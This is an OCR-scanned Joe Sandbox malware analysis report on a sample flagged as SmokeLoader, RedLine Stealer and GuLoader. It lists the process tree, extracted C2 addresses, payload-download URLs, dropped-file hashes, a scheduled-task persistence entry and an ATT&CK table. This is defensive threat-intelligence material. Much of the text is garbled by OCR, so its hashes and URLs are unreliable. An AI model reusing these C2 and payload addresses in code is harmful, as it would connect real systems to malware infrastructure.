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HTTP Request Dependency Graph
HTTP Packets
HTTPS Proxied Packets

Code Manipulations

Statistics
Behavior

System Behavior

Analysis Process: g6JYc6gWId.exe PID: 7116 Parent PID: 4772

General

Analysis Process: explorer.exe PID: 3352 Parent PID: 7116

General
File Activities
File Created
File Deleted
File Written
Analysis Process: vffcvih PID: 7104 Parent PID: 664
General

Analysis Process: 75A.exe PID: 5252 Parent PID: 3352
General
File Activities
File Created
File Written
File Read
Analysis Process: 75A.exe PID: 4616 Parent PID: 5252
General
File Activities
File Created
File Read
Analysis Process: 62E8.exe PID: 2408 Parent PID: 3352
General
File Activities
File Created
File Read
Analysis Process: 92C3.exe PID: 5972 Parent PID: 3352
General
File Activities
File Read

Disassembly
Code Analysis
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Windows Analysis Report q6JYc6gWId.exe
Overview

General Information Detection

Sample q6JYc6gWIid.exe
Name: MALICIOUS

Analysis ID: 542098

Classification

Yara detected RedLine Stealer

Detected unpacking (ovenwrites its o...

@
«Q
>
2
c
=
@
]

MDS: a22e5f73f08a009.. Yara detected SmokeLoader
SHAL: a40938c9ffaaesd.. System process connects to networ. ..
iHAZSG: bc23463a2he659.. Detected unpacking (changes PE se...
ags: i r
| fg Antivirus detection for URL or domain
nfos: s
i E Q ‘f e Q Yara detected Guloader
v

Found malware configuration

Most interesting Screenshot:

GuLoader RedLine

Multi AV Scanner detection for subm...

SmokelLoader

Benign windows process drops PE f...

Range: 0-100 Malicious sample detected (through ...
Whitelisted: false

X Multi AV Scanner detection for doma...
Confidence: 100%

Multi AV Scanner detection for dropp...

a DLL or memory area i

es {0 detect An !

Process Tree

= System is wl0x64
. {} q6JYc6gWIid.exe (PID: 7116 cmdline: "C:\Users\user\Desktop\q6JYc6gWId.exe" MD5: A22E5F73F08A009EACF5D5EB3D6A5792)
o [ explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOE1D)
o (B 75A.exe (PID: 5252 cmdline: C:\Users\user\AppData\Local\Temp\75A.exe MD5: F2F8A2B12CB2E41FFBE135B6EDIB5B7C)
o (B 75A.exe (PID: 4616 cmdline: C:\Users\user\AppData\Local\Temp\75A.exe MD5: F2F8A2B12CB2E41FFBE135B6EDIB5B7C)

. * 62E8.exe (PID: 2408 cmdline: C:\Users\user\AppData\Local\Temp\62E8.exe MD5: 185E024E93C959A39ADB24E469550777)
92C3.exe (PID: 5972 cmdline: C:\Users\user\AppData\Local\Temp\92C3.exe MD5: EC1105BE312FD184FFCIOD7F272D64B87)
. ﬁ vffevih (PID: 7104 cmdline: C:\Users\user\AppData\Roaming\vffcvih MD5: A22E5F73F08A009EACF5D5EB3D6A5792)
= cleanup

Malware Configuration

Threatname: RedLine

{
"C2 url": "45.9.20.240:46257"

Threatname: GuLoader

{
"Payload URL": "http://185.112.83.8/InjectHollowing.bin"

Threatname: SmokelLoader
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"C2 list": [
"http://rcacadenmy.at/upload/",
"http://e-lanpengeonline.com/upload/",
"http://vjcmvz.cn/upload/"”,
"http://galala.ru/upload/"”,
"http://witra.ru/upload/"

Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000014.00000000.452805564.000000000040 JoeSecurity_RedLine Yara detected Joe Security
2000.00000040.00000001.sdmp RedLine Stealer
00000007.00000000.340082963.0000000004DE JoeSecurity_SmokeLoader Yara detected Joe Security
1000.00000020.00020000.sdmp 2 SmokeLoader
00000016.00000002.575048556.000000000243 JoeSecurity_RedLine Yara detected Joe Security
5000.00000004.00000001.sdmp RedLine Stealer
0000000B.00000002.415328829.000000000065 JoeSecurity_SmokeLoader Yara detected Joe Security
0000.00000004.00000001.sdmp 2 SmokeLoader
00000014.00000000.452346639.000000000040 JoeSecurity_RedLine Yara detected Joe Security
2000.00000040.00000001.sdmp RedLine Stealer

Click to see the 19 entries

Unpacked PEs

Source Rule Description Author Strings
3.2.96JYc6gWId.exe.400000.0.unpack JoeSecurity_SmokeLoader Yara detected Joe Security

2 SmokelLoader
3.3.06JYc6gWId.exe.20f0000.0.raw.unpack JoeSecurity_SmokeLoader Yara detected Joe Security

2 SmokeLoader
22.2.62E8.exe.2530000.6.unpack JoeSecurity_RedLine Yara detected Joe Security

RedLine Stealer

22.2.62E8.exe.2390000.2.unpack JoeSecurity_RedLine Yara detected Joe Security
RedLine Stealer

22.2.62E8.exe.247562e.4.raw.unpack JoeSecurity_RedLine Yara detected Joe Security
RedLine Stealer

Click to see the 21 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

g

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain
Found malware configuration
Multi AV Scanner detection for submitted file

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Machine Learning detection for sample
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Compliance:

‘]

Detected unpacking (overwrites its own PE header)

]

Networking:

System process connects to network (likely due to code injection or exploit)

Key, Mouse, Clipboard, Microphone and Screen Capturing:

=

Yara detected SmokeLoader

System Summary:

]

Malicious sample detected (through community Yara rule)

Data Obfuscation:

]

Detected unpacking (overwrites its own PE header)
Detected unpacking (changes PE section rights)

Yara detected GuLoader

=

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

=|

Anti Debugging:

=|

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Benign windows process drops PE files
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Stealing of Sensitive Information:

Remote Access Functionality:

Yara detected RedLine Stealer

Mitre Att&ck Matrix

Yara detected SmokeLoader

Privilege Credential Lateral (
Initial Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration (
Valid Windows Management  DLL Side-  DLL Side- Disable or Modify 0s File and Directory Remote Archive Exfiltration Over Other |
Accounts Instrumentation Loading Loading Tools Credential  Discovery Services Collected  Network Medium 1

Dumping Data

Default Native API Boot or Process Deobfuscate/Decode  Input System Information ~ Remote Data from  Exfiltration Over E
Accounts Logon Injection Files or Information g§ Capture Discovery Desktop Local Bluetooth (
Initialization Protocol System
Scripts
Domain Exploitation for Client Logon Script Logon Script Obfuscated Files or  Security Security Software SMB/Windows Input Automated Exfiltration ¥
Accounts Execution (Windows)  (Windows) Information Account Discovery ﬂ Admin Shares Capture F
Manager
Local At (Windows) Logon Script Logon Script Software NTDS Process Distributed Input Scheduled Transfer \
Accounts (Mac) (Mac) Packing Discovery Component  Capture L
Object Model
Cloud Cron Network Network Logon  Timestomp LSA Virtualization/Sandbox SSH Keylogging Data Transfer Size /
Accounts Logon Script Script Secrets Evasion Limits F
Replication Launchd Rc.common  Rc.common DLL Side-Loading Cached Application Window  VNC GUI Input  Exfiltration Over C2 ?
Through Domain Discovery Capture Channel (
Removable Credentials
Media
External Scheduled Task Startup Startup Items File Deletion DCSync Network Sniffing Windows Web Exfiltration Over (
Remote Items Remote Portal Alternative Protocol F
Services Management Capture
Drive-by Command and Scripting Scheduled  Scheduled Masquerading Proc Network Service Shared Credential Exfiltration Over /
Compromise  Interpreter Task/Job Task/Job Filesystem Scanning Webroot API Symmetric Encrypted 3

Hooking  Non-C2 Protocol

Exploit Public- PowerShell At (Linux) At (Linux) Virtualization/Sandbox /etc/passwd System Network Software Data Exfiltration Over \

Facing Evasion and Connections Deployment  Staged Asymmetric Encrypted

Application letc/shadow Discovery Tools Non-C2 Protocol

Supply Chain  AppleScript At At (Windows) Process Network Process Discovery Taint Shared Local Data Exfiltration Over F

Compromise (Windows) Injection Sniffing Content Staging Unencrypted/Obfuscated F
Non-C2 Protocol

Compromise  Windows Command Cron Cron Hidden Files and Input Permission Groups Replication Remote Exfiltration Over }

Software Shell Directories Capture Discovery Through Data Physical Medium

Dependencies Removable Staging

and Media

Development

Tools

Behavior Graph
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Behavior Graph
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label
6JYc6gWId.exe 29% Virustotal
6JYc6gWId.exe 100% Joe Sandbox ML

Dropped Files

Source Detection Scanner Label
C:\Users\user\AppData\Roaming\vffcvih 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\75A.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\62E8.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\75A.exe 44% Metadefender
C:\Users\user\AppData\Local\Temp\75A.exe 60% ReversingLabs ByteCode-
MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\92C3.exe 12% Metadefender
C:\Users\user\AppData\Local\Temp\92C3.exe 18% ReversingLabs Win32.Trojan.Shelsy
C:\Users\user\AppData\Local\Temp\Wamozart6.dat 0% ReversingLabs
C:\Users\user\AppData\Local\Temp\nsc46B7.tmp\System.dll 3% Metadefender
C:\Users\user\AppData\Local\Temp\nsc46B7.tmp\System.dll 0% ReversingLabs
C:\Users\user\AppData\Roaming\vffcvih 26% ReversingLabs

Unpacked PE Files

Copyright Joe Security LLC 2021
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https://www.virustotal.com/gui/file/bc23463a2be659f023c2752e8fc2749ddb0a79cdd90690e6aadfbaf7878fd1e3/detection/f-bc23463a2be659f023c2752e8fc2749ddb0a79cdd90690e6aadfbaf7878fd1e3-1639847931
https://www.metadefender.com/#!/results/file/bzIxMTIxOHA5NE1JOUZ4Nmt0TEdGbjlUckg/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMTIxOG5weVlDM1lmRDVlTnlhZ3BxWGYz/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1USXhObGhQY2pOa1RtUjRaZ3REQ1FGRmRMTg/regular/analysis

Source Detection Scanner Label Link Download

Domains

Source Detection Scanner Label Link
bastinscustomfab.com 0% Virustotal Browse
Taademyat o Vel powe
www.bastinscustomfab.com 0% Virustotal Browse
URLs

Source Detection Scanner Label Link
http:i/service.r 0% URL Reputation safe

WS 902TEMOSE 0% AV@URLClud  maere
http:/ftempuri.org/Entity/ld12Response 0% URL Reputation safe

http:/itempuri.org/ 0% URL Reputation safe
http:/itempuri.org/Entity/ld2Response 0% URL Reputation safe
http:/itempuri.org/Entity/ld21Response 0% URL Reputation safe
http:/itempuri.org/Entity/Id9 0% URL Reputation safe
http:/itempuri.org/Entity/Id8 0% URL Reputation safe
http:/itempuri.org/Entity/Id5 0% URL Reputation safe
http:/itempuri.org/Entity/Id4 0% URL Reputation safe
http:/itempuri.org/Entity/Id7 0% URL Reputation safe
http:/fe-lanpengeonline.com/upload/ 0% Avira URL Cloud safe
http:/itempuri.org/Entity/Id6 0% URL Reputation safe
http://185.112.83.8/InjectHollowing.bin 0% Avira URL Cloud safe
http:/ftempuri.org/Entity/ld19Response 0% URL Reputation safe
http:/fwww.interoperabilitybridges.com/wmp-extension-for-chrome 0% URL Reputation safe
http:/ftempuri.org/Entity/ld15Response 0% URL Reputation safe
http:i/https://bastinscustomfab.com/veldolore/scc.exe 0% Avira URL Cloud  safe

http:/fsupport.a 0% URL Reputation safe
http:/itempuri.org/Entity/ld6Response URL Reputation safe
_____
http:ifhttps://api.ip.sh/ip URL Reputation safe
_____
http:/ftempuri.org/Entity/ld9Response URL Reputation safe
http:/ftempuri.org/Entity/|d20 0% URL Reputation safe
http:/ftempuri.org/Entity/Id21 0% URL Reputation safe
http:/ftempuri.org/Entity/Id22 0% URL Reputation safe
http:/ftempuri.org/Entity/Id23 0% URL Reputation safe
http:/itempuri.org/Entity/|d24 0% URL Reputation safe
http:/ftempuri.org/Entity/ld24Response 0% URL Reputation safe
http:/ftempuri.org/Entity/ld1Response 0% URL Reputation safe

Mpswiarupoad 0% A@URLCluwd  mawere
http:/iforms.rea 0% URL Reputation safe
hitp://https://www.bastinscustomfab.com/veldolore/scc.exe 0% Avira URL Cloud  safe
http:/frcacademy.at/upload/ 0% Avira URL Cloud safe
http:/ftempuri.org/Entity/ld10 0% URL Reputation safe
hitp://tempuri.org/Entity/Id11 0% URL Reputation safe
hitp://tempuri.org/Entity/Id12 0% URL Reputation safe
http:/itempuri.org/Entity/ld16Response 0% URL Reputation safe
http:/ftempuri.org/Entity/Id13 0% URL Reputation safe
http:/itempuri.org/Entity/Id14 0% URL Reputation safe
http:/ftempuri.org/Entity/Id15 0% URL Reputation safe
http:/ftempuri.org/Entity/Id16 0% URL Reputation safe
http:/ftempuri.org/Entity/Id17 0% URL Reputation safe
http:/ftempuri.org/Entity/Id18 0% URL Reputation safe
http:/itempuri.org/Entity/ld5SResponse 0% URL Reputation safe
http:/ftempuri.org/Entity/Id19 0% URL Reputation safe
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https://www.virustotal.com/gui/url/64e4f5f3e6e33785e411ff777137f5f3983f54549b2041945ff2a568ae53a205/detection/u-64e4f5f3e6e33785e411ff777137f5f3983f54549b2041945ff2a568ae53a205-1527961577
https://www.virustotal.com/gui/url/0e2344803717e4bce23a7532e72375fefd9033034b7d938b501e94a491a3536a/detection/u-0e2344803717e4bce23a7532e72375fefd9033034b7d938b501e94a491a3536a-1639841303
https://www.virustotal.com/gui/url/e492da42f7cc953daa98d126ae4dd805d00768cb9a15aca8893bd915bb890ff7/detection/u-e492da42f7cc953daa98d126ae4dd805d00768cb9a15aca8893bd915bb890ff7-1619259177

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation
cdn.discordapp.com 162.159.133.233 true false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

http:i/https://bastinscustomfab.com/veldolore/scc.exe false e Avira URL Cloud: safe unknown
http:// false high
https://cdn.discordapp.com/attachments/921473641538027521/921473810035793960/Vorticis

m.exe

http:ifhttps://www.bastinscustomfab.com/veldolore/scc.exe false e Avira URL Cloud: safe unknown

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious

211.169.6.249 unknown Korea Republic of . 3786 LGDACOMLGDACOMCorpor false
ationKR

176.44.122.100 unknown Saudi Arabia 25019 SAUDINETSTC-ASSA false

=
187.156.124.76 unknown Mexico ] 8151 UninetSAdeCVMX false

86.107.197.138 unknown Romania '] 39855 MOD-EUNL false

162.159.133.233 cdn.discordapp.com United States = 13335 CLOUDFLARENETUS false

110.14.121.125 unknown Korea Republic of . 9318 SKB- false
ASSKBroadbandCoLtdKR

Private

P

192.168.2.1

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 542098
Start date: 18.12.2021
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https://www.virustotal.com/gui/url/64e4f5f3e6e33785e411ff777137f5f3983f54549b2041945ff2a568ae53a205/detection/u-64e4f5f3e6e33785e411ff777137f5f3983f54549b2041945ff2a568ae53a205-1527961577
https://www.virustotal.com/gui/url/0e2344803717e4bce23a7532e72375fefd9033034b7d938b501e94a491a3536a/detection/u-0e2344803717e4bce23a7532e72375fefd9033034b7d938b501e94a491a3536a-1639841303
https://www.virustotal.com/gui/url/e492da42f7cc953daa98d126ae4dd805d00768cb9a15aca8893bd915bb890ff7/detection/u-e492da42f7cc953daa98d126ae4dd805d00768cb9a15aca8893bd915bb890ff7-1619259177

Start time: 18:38:12

Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 13m 34s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: q6JYc6gWIld.exe
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 26
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 1
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
* AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.spyw.evad.winEXE@8/9@50/11
EGA Information: Failed
HDC Information: e Successful, ratio: 6% (good quality ratio 4.7%)

e Quality average: 48.9%
e Quality standard deviation: 34%
HCA Information: e Successful, ratio: 87%

e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time

e Enable AMSI

e Found application associated with file extension: .exe
Warnings: Show All
Simulations

Behavior and APIs

Time Type Description

18:39:50 Task Scheduler Run new task: Firefox Default Browser Agent 445D2D306D7BF4A5 path: C:\Users\user\AppData\Roaming\vff
cvih

18:41:00 API Interceptor 17x Sleep call for process: 75A.exe modified

Joe Sandbox View /| Context
IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context
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Dropped Files

No context

Created |/ dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Local\Temp\75A.exe

ASCII text, with CRLF line terminators

dropped

700

5.346524082657112

false
12:Q3La/KDLI4MWuPk210KbbDLI4MWUPJKiUrRZ910ZKhat/DLI4M/DLI4MOkvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
65CF801545098D915A06D8318D296A01

456149D5142C75CACF74D4A11FF400F68315EBDO
32E502D76DBE4F89AEES86A740F8D1CBC112AA4A14D43B9914C785550CCAL30F

4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFASDA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEABBC6CA4A9B4F1D55
D

true

unknown

1,"fusion","GAC",0..1,"WIinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_32\System\4f0a7eefa3cd3e0bad8b5ebddbbc72e6\System.ni.dll*,0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll*,0..2,"Microsoft.CSharp, Vers
ion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Sy
stem.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:
Malicious:
Antivirus:
Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

406606

6.685850071195739

false
6144:KzshTve85lg2KTzLkvdqOnTUZKz9tyR4kS3KIRKEIse+zTMwngXOjhiEjrFPxoxB:P56uqOnAutyROK9IRKOse+X9PjrF
185E024E93C959A39ADB24E469550777

D1306193D2ADOE1CB16BOEB0O86FSECB9730EB542
AA246B46290D21DCEBAOBCE429BCD7AB74BBA0414D0OC5F7C084A6DA0EC880400
3231747A9D43CC05D5DB01380361C28A0BBF1CD75281F6BOBBD2E475B19F9F012C79BD1DA12C2816487919DE2D30BE269FD1FOD7453FF845F1AF44F2F26C1FC
true

e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

2.@IN. 3NN & HN ([P Yo(.. M. C&.ONIN N Y(. A Y6($. K.

.L.IThis program cannot be run in DOS mode....$..
%(#.K"..RichJ".. A
..@

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

C:\Windows\explorer.exe
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

modified

545280

5.831163111345628

false

6144:5RZmeBgZRvZq9fRubqggJcL+okUesWafbPlInsTZrITTPyDvu6t2Kekt6:5RZXQ50L7esWiblIn4ZrTTPyDv8Kek

F2F8A2B12CB2E41FFBE135B6ED9B5B7C

F7133A7435BE0377A45D6A0BDOEF56BB0198E9BE

6D969631CE713FC809012F3AA8FD56CFIEF564CC1C43D5BA85F06FDDC749E4AL
C3098730BE533954CAB86F8D29A40F77D551CCB6CB59FF72E9AB549277A93A257CC1A1501108C81E4C2D6D9723FE793780FFD810BO9D839FAA6C64E33FES2CAE
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 44%, Browse
e Antivirus: ReversingLabs, Detection: 60%
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https://www.metadefender.com/#!/results/file/bzIxMTIxOHA5NE1JOUZ4Nmt0TEdGbjlUckg/regular/analysis

Reputation: unknown

Preview:

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

Category: dropped

Size (bytes): 94424

Entropy (8bit): 7.517598762367289

Encrypted: false

SSDEEP: 1536:0/T2X/jN2vxZzODTHUpouMJbL7xE+1nkhA1lgg5iAYFh7zIN60mM5fLsP/DsSTH:ObG7N2kDTHUpouMJbL7PaWRuUNsOmSfLW
MDS5: EC1105BE312FD184FFC9D7F272D64B87

SHA1L: 3C6B70AB854CC46448B55D8A057698C4568A85E2

SHA-256: 39CD27E2D57DB8BFEDFC31413679E5C4CB27274A45C0ACB98COAD81905729CA5

SHA-512: D3F1E91B9863E53E77F2936C79FBEBSFED5B12B4EF8C68F496DB86A3774295DD3FIDB7EAS493F2D026E76AF5922891379B2B8942EBA570A8D0F41A041FCD218
Malicious: true

Antivirus: e Antivirus: Metadefender, Detection: 12%, Browse

e Antivirus: ReversingLabs, Detection: 18%
Reputation: unknown

Preview:

.L.IThis program cannot be run in DOS mode....$........1...Pf..Pf.Pf.*_9.Pf.Pg.LPf.*_;.Pf.sV..Pf.V".Pf.Rich.Pf.

C:\Users\luser\AppData\Local\Temp\Wamozart6.dat v

Process: C:\Users\user\AppData\Local\Temp\92C3.exe

File Type: DOS executable (COM)

Category: dropped

Size (bytes): 45227

Entropy (8bit):  7.703951928306707

Encrypted: false

SSDEEP: 768:0u2vwIrmpMyGOt9A9uUSIKRdAw1flpf5IXUx3zXn+AznL+oFw10g:0uj9SpMC1S2dslI23zXIzLtzg

MD5: B9D4D051E48D4E9AD194CEF9D1599C0E

SHA1L: 251207FDE809001616B9982CF142884848A51718

SHA-256: 5192A1C63E6BAC303A0766749559BBB25B7B3D442888D162976A0927F9E3F16C

SHA-512: 17F96B7626C743C1D7598DF82CA11A41B7AFDI91E3486A1AC687DFD460A7C77BE9088FFBBF8DCEG66C197F70E7BF28109DC3AESAF37C5A346AE4ADA9FDI1F6AIL
A7

Malicious: false

Antivirus: e Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:

C:\Users\user\AppDatal\Local\Temp\a.txt

Process: C:\Users\user\AppData\Local\Temp\92C3.exe

File Type: ASCII text, with no line terminators

Category: modified

Size (bytes): 23

Entropy (8bit):  2.2068570640942187

Encrypted: false

SSDEEP: 3:JNDBfN:jNVIN

MD5: 6C3AA179406696C66ACF8DCI84ABC7DF

SHAL: 7F66AB35CA41A3449382F9DAG8864D64EC182F28

SHA-256: 798DF5B3298985AE022F8C5A6714F7891EAA49B2E4B24E3A8B2329C04DD11C71

SHA-512: 7551B1FBE1CAEF52FDOAFC8601DCDOD6F013198FCC7CBF57F42EB090577B34B91E6F4ADCELA76BC7FFD95559A3FDD529FE6DE90B8335EFSE901CBB606DDAI
836

Malicious: false

Reputation: unknown
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https://www.metadefender.com/#!/results/file/bzIxMTIxOG5weVlDM1lmRDVlTnlhZ3BxWGYz/regular/analysis

C:\Users\luser\AppData\Local\Temp\a.txt

Preview:

ghdfhjfghfgjfdghfghfgdh
C:\Usersluser\AppDatalLocal\Temp\nsc46B7.tmp\System.dll Q
Process: C:\Users\user\AppData\Local\Temp\92C3.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 12288
Entropy (8bit):  5.814115788739565
Encrypted: false
SSDEEP: 192:Zjvco0qWTIt70m5Aj/IQOSEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQIt70mij/IQRV/9VMjzr
MD5: CFF85C549D536F651D4FB8387F1976F2
SHA1L: D41CE3A5FF609DFOCF5C7E207D3B59BF8A48530E
SHA-256: 8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545EDOB4E7F65A8
SHA-512: 531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89BODB501FB66F827B610D460B933BD4ABI36AC2FD8ASS
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 3%, Browse

e Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown
Preview:

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

1..L.IThis program cannot be run in DOS mode....$....... qr*5.0.5.0.5.D...J.2.D.5.E.l.D.....2.D.a0t.1.D.V1n.4.D..3@.4.
@ P @ B....@..P........ :

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

294400

5.986914838270898

false

6144:DNeONZXnRwnRZmsc5az1SqaBatmjmfiEIHzPfIB:DzhwnRZjc5a5SawlHz
A22E5F73F08A009EACF5D5EB3D6A5792
A40938CIFFAAE8D23A56DC163B4B84D88256EA19
BC23463A2BE659F023C2752E8FC2749DDB0OA79CDD90690E6AADFBAF7878FD1E3

49EC3645A0FE7737F9886BEOSCC41F6C432E39D24645A9F87013E7DB538AC3C84DCIFG6BCEC33690AE73B108EB222FEEABDODIFE1ISFEAB4A2D34A4D20DF38D
03

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 26%

unknown

MZ..... .
%(#.K"..Richd”
..@..

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\explorer.exe

ASCII text, with CRLF line terminators

dropped

26

3.95006375643621

false

3:ggPYVirPYV

187F488E27DB4AF347237FE461A079AD
6693BA299EC1881249D59262276A0D2CB21F8E6G4
255A65D30841AB4082BDIDOEEA79D49C5EE88F56136157D8D6156AEF11C12309
89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD64
true

unknown

[ZoneTransfer]....Zoneld=0
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https://www.metadefender.com/#!/results/file/YnpJeE1USXhObGhQY2pOa1RtUjRaZ3REQ1FGRmRMTg/regular/analysis

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General

Entrypoint:

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:
Entrypoint Preview
Rich Headers

Data Directories
Sections

Name  Virtual Address

text 0x1000

.data 0x31000

Copyright Joe Security LLC 2021

Virtual Size

0x2ff96

0x8c704

Raw Size

0x30000

0xd800

Xored PE

False

False

¢8d0d8e0f8e0f0e8

0x418eb0
text
false
0x400000

windows gui

PE32 executable (GUI) Intel 80386, for MS Windows
5.986914838270898
e Win32 Executable (generic) a (10002005/4)
99.96%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%
q6JYc6gWld.exe
294400
a22e5f73f08a009eacf5d5eb3d6a5792
a40938c9ffaae8d23a56dc163b4b84d88256eal9

bc23463a2be659f023c2752e8fc2749ddb0a79cdd90690e
6aadfbaf7878fd1e3

49ec3645a0fe7737f9886be08cc41f6c432e39d24645a9f
87013e7db538ac3c84dc9f6bcec33690ae73b108eb222fe
eabd0d9fel5feab4a2d34a4d20df38de03

6144:DNeONZXnRwnRZmsc5az1SqaBqgtmjmfiEIHzP{fIB
:DzhwnRZjc5a5SawlHz

is program cannot be run in DOS mode....$........ 2.@JI".
ININLL&HN%(L[M.%(.,N..C&-.0NIN N %(.an %(S.
KA. %(#.KN.RIChIM. ., PE..L..W2"...

32BIT_MACHINE, EXECUTABLE_IMAGE

TERMINAL_SERVER_AWARE

0x603257A4 [Sun Feb 21 12:52:52 2021 UTC]

g = g = O

f46517a27dfd5e3e6128969b75b2086f

ZLIB Complexity
0.611170450846

0.0175419560185

File Type

data

data

Entropy Characteristics

7.0534256389 IMAGE_SCN_MEM_EXECUTE,

IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

0.247850720421 IMAGE_SCN_CNT_INITIALIZED_D

ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
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Name  Virtual Address Virtual Size

.rsrc 0xbe000 0x6b08
.reloc 0xc5000 0x34da
Resources

Imports

Possible Origin

Language of compilation system

Spanish

Divehi; Dhivehi; Maldivian

Network Behavior

Network Port Distribution

TCP Packets
UDP Packets

DNS Queries

Timestamp
Dec 18, 2021 18:39:51.175314903 CET

Dec 18, 2021 18:39:52.077630997 CET
Dec 18, 2021 18:39:53.625386000 CET
Dec 18, 2021 18:39:54.965825081 CET
Dec 18, 2021 18:39:55.740933895 CET
Dec 18, 2021 18:39:57.011523962 CET
Dec 18, 2021 18:39:57.653527021 CET
Dec 18, 2021 18:39:59.350352049 CET
Dec 18, 2021 18:40:00.588540077 CET
Dec 18, 2021 18:40:01.675242901 CET
Dec 18, 2021 18:40:07.036719084 CET
Dec 18, 2021 18:40:08.058155060 CET
Dec 18, 2021 18:40:09.264332056 CET

Dec 18, 2021 18:40:10.737850904 CET

Copyright Joe Security LLC 2021

Raw Size Xored PE ZLIB Complexity

0x6c00 False 0.625542534722

0x3600 False 0.361834490741

File Type Entropy

data 5.91217782122

data 3.80163998256

Country where language is spoken

Colombia

Maldives
Source IP Dest IP
